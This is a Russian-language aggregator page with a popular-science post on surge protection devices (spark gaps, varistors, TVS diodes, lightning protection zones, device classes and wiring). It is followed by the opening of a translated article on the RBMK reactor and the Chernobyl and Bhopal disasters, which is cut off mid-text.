Русский
Русский
English
Статистика
Реклама

Безопасность

Защита от гнева богов. Устройства защиты от импульсных перенапряжений

03.06.2021 12:19:11 | Автор: admin
Продолжаем тему электроликбеза про устройства защиты, и этот пост знакомство с устройствами защиты от импульсных перенапряжений (УЗИП). Это устройства для вашего электрощита, призванные бороться с кратковременными всплесками напряжения, например из-за грозы. Текст рассчитан для нетехнарей, так что добро пожаловать) Видеоверсия в конце.


Начнем с того, что знают сегодня даже дети молния представляет собой разряд электричества, иногда ударяет в рукотворные объекты и способна испортить технику. Хоть это предложение и звучит по детски, но человечеству понадобились века, для понимания таких простых и очевидных сегодня вещей. Знание о природе и характеристиках разряда не далось человечеству без жертв, помянем Георга Вильгельма Рихмана.

Первыми регулярный ущерб, от удара молниями, стали испытывать связисты телеграфные линии, растянутые по полям на столбах, регулярно приносили к дорогому и нежному оборудованию станций кратковременные всплески высокого напряжения. Причем не только от ударов молнии в сами провода, но даже от ударов молний неподалеку от линий! И уже тогда пришлось изобретать способы защиты оборудования от этих всплесков. Когда, спустя десятилетия свои провода стали растягивать на столбах уже энергетики, для только появившегося электрического освещения, некоторые наработки телеграфистов пригодились.

Статистика ударов молний, ломавших телеграф в Бельгии по месяцам и времени суток. Вырезка из журнала Electrical Review за 1885 год.

Стоит сказать, что для современной техники молния уже не является чем то запредельно мощным и умопомрачительным. Если взять все эти миллионы вольт и сотни тысяч ампер, умножить на время мы получим энергию разряда, а это всего порядка 1 ГДж энергии. Если перевести в привычные кВт*ч, то это всего 277 кВт*ч, можно даже посчитать стоимость одного разряда молнии. Проблема лишь в том, что это количество энергии выделяется за доли секунды, что порождает проблемы, с которыми и борются разными техническими приемами.

Что происходит при ударе молнии в линию электропередач? Энергия молнии растекается по проводникам в поисках пути ухода в землю. Это вызывает рост напряжения до огромных величин, из-за чего изоляция не выдерживает, и ее пробивает. В тех местах, где протекал разряд, повреждения оставляет как нагрев, так и электромагнитные силы. И про электромагнитные силы хочу отметить особо: из-за очень большой скорости нарастания тока при ударе молнии, даже разряд в непосредственной близости, наводит токи в окружающих проводниках. Поэтому даже, если молния ударила в молниеотвод на крыше и ушла по металлоконструкциям в землю, на проводах внутри здания могут появиться всплески напряжения опасной величины. Поэтому защита строится не только от прямых попаданий молнией, но и от различных наведенных ею явлений.

Вопрос защиты от атмосферного электричества и от импульсных перенапряжений достаточно обширен, поэтому пост рассчитан дать лишь крайне поверхностное представление и не претендует на полноту. Для более полного и глубокого изучения темы в конце есть ссылки на дополнительные материалы. Если сформулировать кратко физический смысл устройств защиты их задача сбросить в заземление всю энергию, наведенную в линиях молнией, не допуская чрезмерного роста напряжения. Эти устройства назвали УЗИП устройства защиты от импульсных перенапряжений.

Акт первый. Приманиваем молнию и отправляем ее в землю.


Про громоотводы (они же молниеотводы, и они же молниеприёмники) наверняка слышали и видели все:

Молниеотвод на куполе деревянной церкви. Источник.

Это не обязательно торчащий в небо шпиль, у линий электропередач он выполнен в виде грозозащитного троса, который выше всех и не имеет изоляторов:

Пара грозозащитных тросов над ЛЭП. Источник.

Принцип простой это проводник, электрически соединенный с землей, и размещенный как можно выше. Если на данном участке создадутся условия, для удара молнией, то наиболее вероятно (но не 100% гарантированно!) разряд произойдет именно в заземленный проводник, а не в окружающие объекты. Сечение проводника выбирается достаточным, чтобы провести разряд к заземлению без повреждений. Громоотвод выполняет собой роль зонтика принимая всю стихию на себя. Аналогия с зонтиком становится еще более явной, если посмотреть на формулы расчета радиуса защищаемой громоотводом площади она тем больше, чем выше громоотвод. Стоит отметить, что существует несколько методик определения защищаемой молниеотводом области, и даже среди специалистов по молниезащиты нет единогласного мнения, какая методика точнее. Например фото из энциклопедии Британника показывает два подхода к расчету защищаемой области конус по высоте молниеотвода и метод катящейся сферы.

Защищаемые молниеотводом области. Источник.

Громоотвод оказался чертовски важен для использования в деревянных домах. Если раньше удар молнии в крышу мог устроить пожар (энергия разряда на пути в землю частично превращалась в тепло, подживавшее все вокруг), то перенаправление разряда по металлическому штырю в землю спасало от таких страшных последствий. И если присмотреться то все современные здания и строения имеют на крыше громоотвод. А особо важные объекты вообще могут иметь довольно сложные конструкции громоотводов. В тех местах, где надлежащее заземление сделать трудно (на скале, песках) молниезащита становится совсем нетривиальной задачей. Так выглядят громоотводы на газовой станции в Нигерии:

Разработчики решили, что молниеотводы такой формы работают лучше. Источник

Но, если бы способ работал без нареканий, то текст бы оборвался на этом месте. Он и обрывался, до появления чувствительной и нежной аппаратуры.

Акт второй. Минимолнии.


Не все высоко поднятые проводники могут быть заземлены, для успешного перенаправления энергии разряда в землю. Например антенны она должна быть высоко и заземлять ее нельзя, иначе она перестанет принимать сигналы. А можно ли сделать устройство, которое бы соединяло бы например антенну с землей только в момент удара молнии, и при этом не оказывала влияния в остальное время?

Можно, и устройство это называется искровой разрядник. Вот пример разрядника для электрооборудования конца 19 века:



Идея защиты проста между защищаемым проводником и заземлением в разряднике создается минимально допустимый зазор так, чтобы при нормальной работе напряжение не превышало напряжение пробоя зазора. Если в защищаемой линии по какой то причине напряжение возрастет (из-за удара молнии или из-за всплесков от работы электрооборудования) то в зазоре происходит электрический пробой зажигается электрическая дуга, которая из-за ионизации газа неплохо проводит ток. Именно эта дуга обеспечивает временное электрическое соединение с землей, и гаснет, если напряжение понизилось ниже напряжения гашения дуги.

Но есть две проблемы. Первая малопредсказуемое напряжение пробоя разрядника изменение температуры, влажности воздуха и напряжение изменилось. Немного коррозии напряжение изменилось. Кривые ручки регулировщика очень сильно изменилось. Второй недостаток более фундаментальный напряжение при котором происходит пробой, и напряжение, при котором дуга гаснет отличаются. Причем напряжение зажигания дуги еще зависит от скорости нарастания напряжения. График на картинке как раз показывает горб пока разрядник не сработал напряжение успевает вырасти, затем зажигается дуга и напряжение падает. Пунктиром показан график напряжения при защите варистором.

Картинка взята отсюда.

Если первый недостаток получилось побороть, заключив разрядник в герметичную колбу, заполненную заранее приготовленной смесью газов, то со вторым ничего поделать не получилось. Да, разными ухищрениями можно уменьшить разницу между напряжением пробоя и напряжением, когда дуга гаснет, но не радикально. Причем напряжение гашения должно быть ВШЕ напряжения источника питания (*с оговорками). Иначе может получиться неприятная ситуация, когда разряд молнии пробил разрядник и ушел в землю, но дуге погаснуть уже не даст генератор, питающий линию. И дуга в разряднике будет гореть пока кто-то из них не сломается. Вот пример разрядника РБ-5, отечественного производства из аппаратуры связи колба герметична и заполнена инертным газом:



В принципе, до широкого распространения полупроводниковых приборов (где-то до середины 60х) защита в виде разрядников всех устраивала. При должном запасе прочности изоляции, кратковременный всплеск напряжения на пару кВ (пока не сработает разрядник) большинство аппаратуры могло вынести. Но потом в широкий обиход вошли полупроводниковые устройства, для которых даже небольшое кратковременное повышение напряжения означало смерть.

Разрядники применяются до сих пор и очень широко. Причем разрядники выпускаются огромным ассортиментом на все случаи жизни, от маленьких для защиты линий связи до огромных для зашиты линий электропередач. Вот например как выглядит разрядники в плате мини-АТС (цилиндрические с брендом производителя EPCOS), для защиты от импульсов высокого напряжения, которые могут оказаться в телефонной линии:



Акт третий. Полупроводники защищают полупроводники.


На замену разрядникам в деле защиты линий (причем не только линий электропередач, но и например линий связи, но пост в основном посвящен линиям электропередач напряжением 220-230В) пришли варисторы. Это особый тип резисторов, сопротивление которых зависит от приложенного напряжения. Вот так выглядит их Вольт-амперная характеристика, которая показывает связь тока через прибор и приложенного напряжения:

Источник

Тоесть они ведут себя примерно как разрядники. Если напряжение ниже порогового то их сопротивление велико, есть только мизерный ток утечки. Если напряжение превышает пороговое, то варистор довольно сильно меняет свое сопротивление, начиная хорошо проводить ток. Но, в отличии от разрядника, возвращается в исходное состояние с высоким сопротивлением, стоит лишь напряжению подняться выше порогового. В итоге напряжение на контактах варистора получается относительно стабильным, повышение напряжения он скомпенсирует увеличением тока через себя, что не даст напряжению расти.

Чисто технически, варистор представляет собой таблетку спеченной керамики из вещества, которое обладает свойством полупроводника, например гранул оксида цинка в матрице из смеси оксидов металлов, поэтому его и называют MOV Metal Oxide Varistor. Гранулы создают огромное количество pn переходов, проводящих ток в одном направлении. Но так как их образуется много и в случайном порядке, для выпрямления тока они бесполезны. Но свойство устраивать электрический пробой при превышении определенного напряжения (а электрический пробой pn перехода обратим), оказалось очень кстати. Регулируя толщину таблетки, можно добиться достаточно стабильного порогового напряжения при производстве. А увеличивая объем шайбы, можно увеличить максимальную энергию импульса, который способен поглотить варистор.

Варистор получился не идеальным, поэтому он не заменил, а лишь дополнил разрядники. За огромный плюс отсутствие разницы между напряжением пробоя и напряжением восстановления, варисторам прощают токи утечки, ограниченный ресурс (после некоторого количества срабатываний может потерять характеристики), большой габарит при скромных допустимых энергиях разряда. Включенный в линию варистор будет гасить всплески напряжения примерно таким образом:



Так как варистор может со временем прийти в негодность, и например начать проводить ток, когда не требуется, устраивая короткое замыкание, необходимо предусматривать защиту от короткого замыкания. Большие могучие варисторы на DIN рейку, для защиты силовых линий, часто содержат в себе встроенную защиту. Вот например так выглядит начинка варистора в щиток от IEK:


Видно саму таблетку варистора (синего цвета). К ней присоединены электроды и подпружиненный флажок опирается на электрод, припаянный легкоплавким припоем Если варистор нагревается свыше разумного (не важно, от пришедшего импульса с молнии, или по причине деградации) то припой плавится, электрод отсоединяется, разрывая цепь, и пружина опускает флажок, показывает неисправность варистора. Если защиты не предусмотреть, неконтролируемый нагрев варистора может устроить пожарчик.

Варисторы небольших размеров можно встретить во множестве электронных устройств, для защиты от случайно пришедших по сети всплесков высокого напряжения. Большинстве удлинителей, именующих себя сетевыми фильтрами вся фильтрация сводится к наличию пары варисторов внутри. Вот на фото можно разглядеть варисторы (синего цвета) в разных удлинителях:



Акт четвертый. Защита для самых нежных.


Этот раздел я включил полноты ради.
Помимо варисторов и разрядников есть еще устройства защиты полупроводниковые супрессоры (TVS-transient voltage suppressor), они же TVS-диоды, они же полупроводниковые ограничители напряжения. Это специально спроектированные диоды, которые работают на обратной ветви вольт-амперной характеристики (да, той самой, где происходит обратимый электрический пробой у варисторов). Физически они выполняют ту же самую функцию, что и остальные устройства защиты не проводят ток, если напряжение в норме и начинают проводить ток, если напряжение почему-то превысило допустимое значение, тем самым выполняя роль ограничителя. На фото довольно крупный экземпляр, они бывают совсем миниатюрные:

Фото из каталога моей любимой Промэлектроники. TVS-диоды бывают как в выводных корпусах, так и в корпусах для поверхностного монтажа. Бывают сборки с несколькими TVS диодыми для защиты групп линий.

Полупроводниковые ограничители напряжения почти прекрасны всем, кроме одного величина энергии импульса, который они способны ограничить, поглотив излишки, очень мала. Создание на их базе защиты, способной хоть как то сравниться по характеристикам с разрядниками или варисторами будет слишком дорогой. Поэтому они нашли применение там, где нужна компактная защита самой нежной и чувствительной электроники от небольших по мощности всплесков, например от статического электричества. Будьте уверены в вашем телефоне все контакты, что ведут внутрь (USB, наушники) защищены маленькими TVS диодами, которые не позволят напряжению на этих контактах повыситься выше 5 В, даже если вы случайно щелкните по ним электричеством снимая свитер.

Если хочется узнать поподробнее про полупроводниковые ограничители напряжения, это можно сделать тут, и тут. Но, если вы не разработчик электроники, то врядли вы будете как-то взаимодействовать с этими устройствами защиты.

Акт пятый. Концепция зональной защиты.


А можно поставить в электрощиток на вводе в дом универсальное устройство защиты от импульсных перенапряжений, и не знать проблем? К сожалению нет. Хотя бы потому что даже если вы подавили все нежелательные всплески на входе в дом, можно повторно словить их проводкой внутри здания, например когда ток разряда молнии будет следовать от громоотвода в землю где-то за стенкой электромагнитное поле столь мощное, что в любом проводнике наведет импульс тока. Или например, что в сеть импульс повторно проникнет через телефонный аппарат, придя по телефонной линии. Поэтому процесс построения защиты усложняется нужно анализировать все пути проникновения электромагнитного импульса от молнии внутрь защищаемого объекта.

Чтобы не ставить на каждое устройство полный комплект устройств для защиты от прямого попадания молнией (было бы слишком дорого), придумали концепцию зональной защиты, и соответствующих классов устройств. Объект, электрическая начинка которого защищается от повреждения молнией, разделяется на зоны, согласно степени воздействия молнией. Все линии (силовые, связи), переходящие из зоны в зону, на границе зон оснащаются устройствами защиты. Проще понять это на абстрактном примере дома:

Картинка взята из руководства OBO Betterman. Lightning protection guide

(LPZ lightning protection zone зона защиты от молнии)
Зона 0а это зона, куда непосредственно может ударить молния. В проводнике может оказаться полный ток молнии
Зона 0b это зона, куда молния напрямую уже не ударит, но в проводнике может оказаться частичный ток молнии как из-за электромагнитного поля, так и просто из-за пробоя изоляции.
Зона 1 Это зона, где может появиться наведенный молнией ток.
Зона 2,3,4 и т.д. зона, где наведенный молнией ток ослаблен и меньше, чем в вышестоящей зоне. Зон может быть сколь угодно много, как в матрешке.

Тоесть понятно при переходе из зоны в зону, электромагнитный импульс молнии ослабевает, в том числе из-за устройств защиты на границах зон, и за счет экранирования и ослабления в пространстве. Например бетонная стенка с заземленной арматурой внутри может служить таким экраном. Зоны обычно разделяются по естественным препятствиям стена, корпус шкафа, корпус прибора и т.д.

И вот для удобства, устройства защиты разделили на классы. И когда понятно деление на зоны достаточно взять из каталога устройство соответствующего класса.
Класс I (B)- это устройства способные выдержать частичный ток молнии (зона 0), и предназначены для установки на вводном щите. (где зона 0 переходит в зону 1)
Класс II - это устройства способные выдержать меньший ток, чем устройство класса I, но они дешевле и напряжение, до которого они срежут импульс меньше. Предназначены для установки на распределительном щите. (Как раз где зона 1 переходит в зону 2)
Класс III- (D)Это устройства способные выдержать импульс еще меньшей величины, чем класс II, но зато срезающие импульс почти полностью. И предназначены для установки уже на щит конечного потребителя. Многие грамотно спроектированные устройства имеют подобную защиту уже внутри себя.

Почему бы не ставить везде устройства защиты класса I? А просто потому что установка устройства класса I там, где с лихвой хватит класса III, например у конечного потребителя неоправданный перерасход бюджета. Это как строить полностью укомплектованную пожарную часть там, где достаточно поставить огнетушитель. Кроме того, чем брутальнее и мощнее устройство защиты, тем больше величина напряжения импульса, который просачивается через нее в потребителя. (тем выше напряжение ограничения, см картинку выше)

Картинка из руководства Шнайдер электрик

Но если хочется всё и сразу, существуют комбинированные устройства, например Класс I+II которые соответствуют параметрам сразу нескольких классов, но за такую универсальность производитель попросит дополнительных денег.

Акт шестой. Стандартная молния.


Каждый удар молнии уникален по своим характеристикам. Но устройства защиты нужно как то тестировать, сравнивать, разрабатывать, поэтому пришлось договариваться о некоторых характеристиках электромагнитного импульса, который наводит молния. Поэтому на лицевой панели устройств защиты, а также в документации можно увидеть: (поглядите маркировку на распиленном УЗИПе от IEK на фото выше)

  1. Пиковое значение тока, который проходит через прибор без его повреждения, в тысячах ампер (кА). Например 50 кА означает, что пиковый ток в импульсе достигает 50 000 Ампер.
  2. Запись о длительности импульса, в микросекундах. Она указывается через дробь. Например 10/350 означает, что импульс нарастает до максимального значения тока за 10 микросекунд, а потом плавно спадает до нуля за 350 микросекунд. Или например 8/20. (10/350 длинный и мощный импульс, характерный для прямого попадания разрядом, а 8/20 короткий, более характерный наведенному от молнии неподалеку)
  3. Рабочее напряжение. Это нормальное напряжение в линии, к которой подключается защита.
  4. Напряжение ограничения, в вольтах. Это величина остаточного напряжения импульса на клеммах устройства (позже укажу почему это важно), до которого устройство защиты сможет его уменьшить.
  5. Класс устройства (см. часть про зональную концепцию).


Стоит отметить, что даже многолетняя собранная статистика не исключает, что конкретно вы не согрешили настолько, что по вам ударит аномально мощная молния, но вероятность этого весьма низкая. (Например МЭК 62305-1 считает, что даже по самым отъявленным грешникам молнии с зарядом более 300 Кл выпускаются менее чем в 1% случаев.)

Вот прекрасная в своей наглядности иллюстрация из руководства OBO BETTERMANN, где иллюстрируется статистика разрядов молний по току, и как разные уровни защит от молний (LPL) их покрывают:



Так как процесс предсказания тока у молнии, которая ударит в объект в будущем сродни процессу предсказания курса биткоина (тоесть гадание), и придумали разные уровни защит от молний, и картинка выше наглядно показывает как они соотносятся. Необходимый уровень защиты выбирается согласно оценке рисков ущерба от попадания молнии.

Акт седьмой. Портим всё забыв про мелочи.


Описанное выше актуально для сферического коня в вакууме. В реальной жизни есть огромное количество тонкостей, которые опускаются для упрощения, но рано или поздно дадут о себе знать. Вот примеры некоторых из них:

1. Собственная индуктивность и сопротивление проводников.
Отрезок провода длинной 1 метр обладает индуктивностью примерно 1 мкГ и ненулевым сопротивлением. А значит при высоких темпах нарастания тока (а для молний они как раз характерны) лишний запас провода может свести смысл защиты к нулю. Многие производители в своих руководствах явно указывают, что длинна проводников от линии к клеммам устройства защиты должны быть максимально короткой, и в сумме не превышать 0,5 м. Вот наглядная картинка из руководства OBO BETTERMANN, как лишние 2 метра провода повлияли на защиту. Если УЗИП (оранжевый) срезает пришедший импульс до величины 1,5 кВ, то на проводниках падает дополнительно 2 кВ, и в итоге в нагрузку придет импульс напряжением 3,5 кВ.



Весьма изящным способом уменьшить влияние проводников является подключение вот таким образом:


Некоторые производители, для удобства монтажа вообще предусматривают двойные клеммы, например как на этом устройстве (отечественное кстати):


2. Сопротивление играет роль.
При токе разряда молнии в 50 кА, на проводнике с сопротивлением в 0,1 Ом при протекании тока создастся разница напряжения в 5 кВ. Поэтому УЗИП следует подключать максимально толстым проводником, не менее 6 мм2, даже если сама по себе линия 2,5 или даже 1,5 мм2. Если вы подключили УЗИП V-образно как на фото выше, то толстым у вас останется только заземляющий проводник.

3. Устройства защиты без согласования бесполезно соединять параллельно.
Может закрасться мысль, что если параллельно поставить несколько устройств защиты, то мы получим Мегазащиту. Но это так не работает. Когда по линии прилетит импульс то первым сработает кто-то один, и примет на себя весь удар. Чтобы каскад из защит работал согласованно, и по мере необходимости в дело поглощения импульса подключались все более и более мощные устройства, они должны согласоваться специальными дросселями. Но так как расчет такого каскада задача непростая, то и устройства согласования в каталогах производителей УЗИП найти крайне трудно. Производитель стал выпускать комбинированные устройства согласуя их внутри сам. Тоесть вместо установки рядом УЗИП II и УЗИП III класса нужно взять готовое устройство II+III класса.

4. Ставим автомат вместо предохранителя.
Если вы внимательно прочитаете документацию на устройства защиты от импульсных перенапряжений, то многие производители требуют установку предохранителей для защиты от короткого замыкания если устройство выйдет из строя, оно может устроить короткое замыкание защищаемой линии на землю. И при таком сценарии лучше, если сгорит предохранитель и отключит устройство защиты от линии, чем это сделает вводной автомат обесточив нагрузку. Но см. п.1 глупо сначала добиваться минимальной индуктивности проводников, чтобы затем воткнуть автоматический выключатель, внутри которого электромагнитный расцепитель в виде катушки индуктивности. В итоге автоматический выключатель будет работать как дополнительные виртуальные несколько метров провода (см п1) увеличивая напряжение импульса, дошедшего в нагрузку. И именно поэтому крайне желательно использовать именно предохранители. (это еще если не брать во внимание, что есть опасность что импульс тока в 10-50-100 кА вызовет спекание контактов в автомате)

5. УЗИП на базе варисторов имеют ток утечки.
Он небольшой, но при этом не нулевой. И тут здравый смысл отходит на второй план перед электросетевой компанией, которая имеет свое мнение на то, где должно быть установлено УЗИП. Так что может получиться так, что УЗИП вы поставите после счетчика. Но так как счетчик собственность электросетевой компании, можете делать кулфейс когда после грозы сгорит счетчик и вам придут его менять.

6. Отсутствие контроля.
Представьте, что вы оснастили УЗИПами электрощит, который питает метеостанцию в безлюдном месте. Рядом прошла гроза, УЗИПы выполнили свою функцию, спасли начинку станции от повреждения, но погибли сами их отключила защита. И получается ситуация, когда станция нормально работает, но при этом не имеет защиты, и следующая гроза может вывести ее из строя. Именно от таких неприятных ситуаций, существуют УЗИП с контактами, которые размыкаются/замыкаются, когда защита выходит из строя (например на фото УЗП-220 это контакты 4 и 5). В таком случае умерший УЗИП может подать сигнал в систему диспетчеризации, что пора высылать монтажника для замены защиты.

Акт восьмой. Практический.


Дочитавший до этого места наверняка уже задался вопросом а зачем мне надо УЗИП и как его включать? Переходим к конкретике.

Если вы живете в частном доме и электричество в дом поступает по воздушной линии электропередач, то вам требуется УЗИП, причем класса I. (В некоторых случаях может хватить и II класса, но тут уже очень много но) Если вы живете в многоквартирном доме, все инженерные системы которого в порядке, то в УЗИП не является устройством первой необходимости, но хуже не сделает. Типовая схема использования УЗИПов выглядит вот так (опять взял картинку из руководства OBO BETTERMANN:



Ввод слева. УЗИПы класса I располагаются сразу после вводного автомата (ну или после электросчетчика, если электросетевая компания желает) по одному на каждую фазу. Видно повторное заземление (5) и TN-C превращается в TN-C-S. Без заземления УЗИП не работает куда ему отводить энергию импульса, кроме как в землю?

Внутри здания на промежуточном щите, например этажном, используются УЗИП класса II, которые подавят то, что смогло пройти через УЗИПы на вводе. Обратите внимание между N и PE стоит УЗИП специально для этого предназначенный, так как в норме напряжение между N и PE невелико.

Ну и наконец рядом с потребителем ставится УЗИП класс III. У хорошо спроектированных устройств внутри уже предусмотрена производителем защита от перенапряжений.

Резюме:


  1. Электронная техника у вас дома уязвима перед электромагнитными импульсами, которые может принести разряд молнии, даже неподалеку.
  2. Для защиты от этих импульсов (а также от импульсов, возникающих при коммутации индуктивных нагрузок) придумали УЗИП устройства защиты от импульсных перенапряжений. УЗИП может содержать внутри себя как разрядник, так и варистор, все зависит от характеристик, которые должен обеспечивать УЗИП.
  3. УЗИП выпускают разных классов, от I до III. Для установки на вводной щит дома подходят устройства I класса. Но существуют также устройства, способные обеспечить защиту, соответствующую нескольким классам.
  4. Весь защитный эффект от УЗИП можно свести на нет некорректным подключением.
  5. УЗИП может выйти из строя, и при отсутствии регулярного осмотра это останется незамеченным.


Видео версия поста, не слово в слово, но близко к тексту, для тех кто любит слушать и смотреть:



Что еще почитать для углубления знаний:


1. Прежде всего нормативная документация. Говорим Окей, гугл, Устройство молниезащиты зданий, сооружений и промышленных коммуникаций: Сборник документов. Серия 17. Выпуск 27 и внимательно изучаем, в сборнике собраны нормативные документы: Инструкция по устройству молниезащиты зданий и сооружений (РД 34.21.122-87) и Инструкция по устройству молниезащиты зданий, сооружений и промышленных коммуникаций (СО 153-34.21.122-2003) а также отдельно гуглим и смотрим ГОСТ Р МЭК 62305. Он состоит из большого количества частей, но ни один блогер в интернете не может быть выше нормативных требований.
2. Есть прекрасный сайт https://zandz.com Ребята не только записали вебинары с приглашенными специалистами сферы, но и сделали их стенограммы, так что можно быстро прочитать вместо просмотра видео. Все это великолепие они выложили бесплатно, но потребуется регистрация. Респект. Видеозаписи вебинаров у них на ютуб канале лежат и доступны без регистрации, например вебинары проф. Базеляна (https://www.youtube.com/watch?v=R-KbjRb4Yuw&list=PLjJ4-onvu94qpAA_zsCLkrTzJMBLXU0ns)
3. Неплохая статья на хабрахабре http://personeltest.ru/aways/habr.com/ru/post/188972/
4. Многие производители выпускают руководства по проектированию такая завуалированная реклама, где простым языком объясняются основы и заодно приводится выдержки из каталога оборудования, которое решает проблему. На русском языке есть прекрасное руководство от шнайдер электрик (https://www.se.com/ru/ru/download/document/MKP-CAT-ELGUIDE-19/), нас интересует раздел J, посвященный защите от перенапряжений. В нем все довольно просто, наглядно и точно.
5. Если вы владеете английским языком, то фирмы, производящие все для молниезащиты, выпустили замечательные руководства. Конечно с перекосом в свою продукцию, но как видите некоторые иллюстрации я позаимствовал у них. Это OBO BETTRMAN lightning protection guide, Dehn lightning protection guide.

Также хочу выразить благодарность Павлу, Денису, Евгению и Виктору за рецензирование черновика статьи.
Дригие статьи цикла: Про предохранители, про автоматические выключатели, про УЗО, про выбор автоматического выключателя, про устройства защиты.


Подробнее..

Перевод Советский реактор РБМК 35 лет после Чернобыльской катастрофы

04.06.2021 20:14:20 | Автор: admin
Тридцать пять лет назад на АЭС Форсмарк в Швеции сработала система предупреждения о радиационной опасности. После расследования было установлено, что источником радиации была не сама электростанция, а нечто, находящееся за её пределами. В итоге, с учётом направления господствующих ветров, было выяснено, что радиация пришла с советской территории. Советское правительство, после некоторых политических распрей, признало, что источником радиационного заражения была Чернобыльская атомная электростанция, на которой произошла авария.

Причины катастрофы были тщательно исследованы и сейчас у нас есть достаточно хорошее понимание того, что тогда случилось. Возможно, самый важный урок, который человечество вынесло из Чернобыльской катастрофы, заключается в том, что её причиной нельзя назвать недочёты конкретного реактора, или неправильные действия персонала в зале управления АЭС, или особенности отдельно взятого тоталитарного режима. Причиной происшествия такого масштаба стала целая цепь событий.



В пользу этой идеи говорит тот факт, что оставшиеся реакторы серии РБМК, включая три установки на Чернобыльской АЭС, функционировали без заметных проблем с 1986 года, а девять из них работают до сих пор. В ходе международного расследования причин возникновения Чернобыльской катастрофы в соответствующих отчётах МКГЯБ постоянно говорится о недостаточном уровне культуры безопасности.

Анализ обстоятельств, которые привели к созданию четвёртого энергоблока Чернобыльской АЭС и к последующему его использованию, потенциально опасному, может дать человечеству множество знаний о предотвращении катастроф. Это история о том, какую важную роль культура безопасности играет в отраслях промышленности, где цена аварий измеряется человеческими жизнями.

Анатомия катастрофы


За два года до аварии на Чернобыльской АЭС, в ночь на 3 декабря 1984 года, в индийском городе Бхопал погибло более двух тысяч человек. Тогда на близлежащем химическом заводе компании Union Carbide India Ltd случился выброс смертельно опасного вещества метилизоцианата. В последующие годы умерло ещё более тысячи человек, а общее число пострадавших составило около полумиллиона.

Резервуар E610 источник смертоносного газа

Заражённые почва и грунтовые воды вокруг завода, теперь заброшенного, до сих пор представляют опасность, но люди продолжают жить в тех местах.

К катастрофе в Бхопале привели низкий уровень технического обслуживания оборудования, неисправные средства защиты, а так же отсутствие культуры безопасности. Всё это вместе позволило воде проникнуть через неисправные вентили в резервуар с метилизоцианатом, что привело, в результате экзотермической реакции, к образованию смертоносного газа. Американская компания-владелец завода (теперь она называется The Dow Chemical Company) не очистила место аварии после закрытия завода в 1986 году. Теперь эта задача возложена на местные власти.

Катастрофа 1986 года в Чернобыле во многом похожа на аварию в Бхопале. В частности недостаточным уровнем культуры безопасности. Всё началось ещё на этапе проектирования реактора РБМК (реактор большой мощности канального типа), когда, ради экономии, было решено использовать природный уран, а не обогащённый уран-235. Это означало увеличение размеров реактора, что привело к принятию решения о том, что в конструкции реактора не нужен корпус, который имеется у реакторов других типов (например у корпусных водо-водяных энергетических реакторов, ВВЭР). Корпус РБМК оказался бы слишком большим и слишком дорогим.

В РБМК имеется множество систем обеспечения безопасности, включая применение независимых петель контура охлаждения реактора, использования системы аварийного охлаждения реактора (САОР) и системы аварийного отключения реактора (SCRAM). Но там не было чего-то такого, что не дало бы операторам реактора по собственному усмотрению отключить все эти системы безопасности. В результате то, что должно было стать простым испытанием турбогенератора в режиме выбега (что предусматривало использование кинетической энергии, запасённой во вращающемся роторе турбогенератора, для выработки электроэнергии, необходимой для питания циркуляционных насосов в аварийной ситуации), превратилось в катастрофу.

Игры с реактивностью реактора


У каждого легководного реактора, где для охлаждения ядра реактора используется обычная вода, есть два основных параметра, которые позволяют узнать о том, в каком режиме работает реактор в номинальном, или нет, отклоняясь от него в большую или меньшую сторону. Они имеют отношение к реактивности реактора к количеству нейтронов с определённой скоростью (температурой нейтронов), присутствующих в некий момент времени в нейтронном эффективном сечении используемого в реакторе топлива.

В случае с ураном-235 необходимы так называемые тепловые нейтроны, но в ходе цепной ядерной реакции производится множество более быстрых нейтронов (их называют быстрыми нейтронами). Быстрые нейтроны могут быть замедлены до состояния тепловых нейтронов с использованием замедлителей нейтронов. Это повышает реактивность реактора. Для снижения реактивности реактора используются поглотители нейтронов, которые могут быть представлены водой и управляющими стержнями, которые часто делают из карбида бора.

В большинстве легководных реакторов обычная вода используется и для замедления нейтронов, и для поглощения нейтронов. А это значит, что если реактивность реактора возрастает, повышается скорость закипания воды, что увеличивает количество пара. Появление пара означает ухудшение возможностей замедления нейтронов, а это, в свою очередь, приводит к уменьшению количества имеющихся тепловых нейтронов, что создаёт цикл отрицательной обратной связи. Это то, что называется отрицательным паровым коэффициентом реактивности.

Верхняя часть реактора РБМК Ленинградской АЭС

У интересующего нас реактора РБМК второго поколения много общего с прототипом ядерного реактора первого поколения, в котором используется графитовый замедлитель. Собственно говоря, в РБМК графит тоже использовался в роли замедлителя нейтронов. Хотя это позволяло применять природный уран, это ещё и означало то, что РБМК работал с положительным паровым коэффициентом реактивности. Когда вода в контуре охлаждения реактора закипала и в ней возникали пузырьки, её возможности по поглощению нейтронов ухудшались, а эффект замедления нейтронов не менялся, что создавало возможность возникновения бесконтрольной ядерной реакции.

Эта неоднозначная особенность была признана приемлемой, так как она позволяла реакторам РБМК выдавать тепловую мощность, значительно превышающую ту, которую обеспечивали западные реакторы того времени. Предполагалось, что у хорошо обученного персонала не будет проблем с управлением реактором РБМК.

Как уже было бесчисленное количество раз доказано, например, когда затонул Титаник, менеджеры и маркетологи регулярно берут верх над инженерами. Любая катастрофа, которой можно было бы избежать за счёт правильного обслуживания техники и тщательного обучения персонала, становится неизбежной в условиях отсутствия культуры безопасности.

Закон Мёрфи в действии


Когда было запланировано отключение четвёртого энергоблока Чернобыльской АЭС для обслуживания, было решено провести на нём эксперимент с турбогенератором, для чего была отключена САОР. Но, прямо перед тем, как было запланировано начать эксперимент, решено было оставить реактор в работающем состоянии ещё на 11 часов, так как энергосеть нуждалась в энергии, вырабатываемой энергоблоком. Эта задержка привела к тому, что персонал дневной смены, который и должен был проводить эксперимент, сменился сотрудниками вечерней смены. Им, как результат, из-за отключённой САОР, пришлось вручную регулировать вентили гидравлической системы реактора.

Когда на службу пришли работники ночной смены, ожидающие, что им придётся иметь дело с остановленным и остывающим реактором, им сообщили о том, что эксперимент должны проводить они. Это означало, что мощность реактора нужно было снизить, перейти с полной мощности к 700 1000 МВт (тепловых), а потом прекратить подачу пара на турбину.
Схема контуров охлаждения РБМК

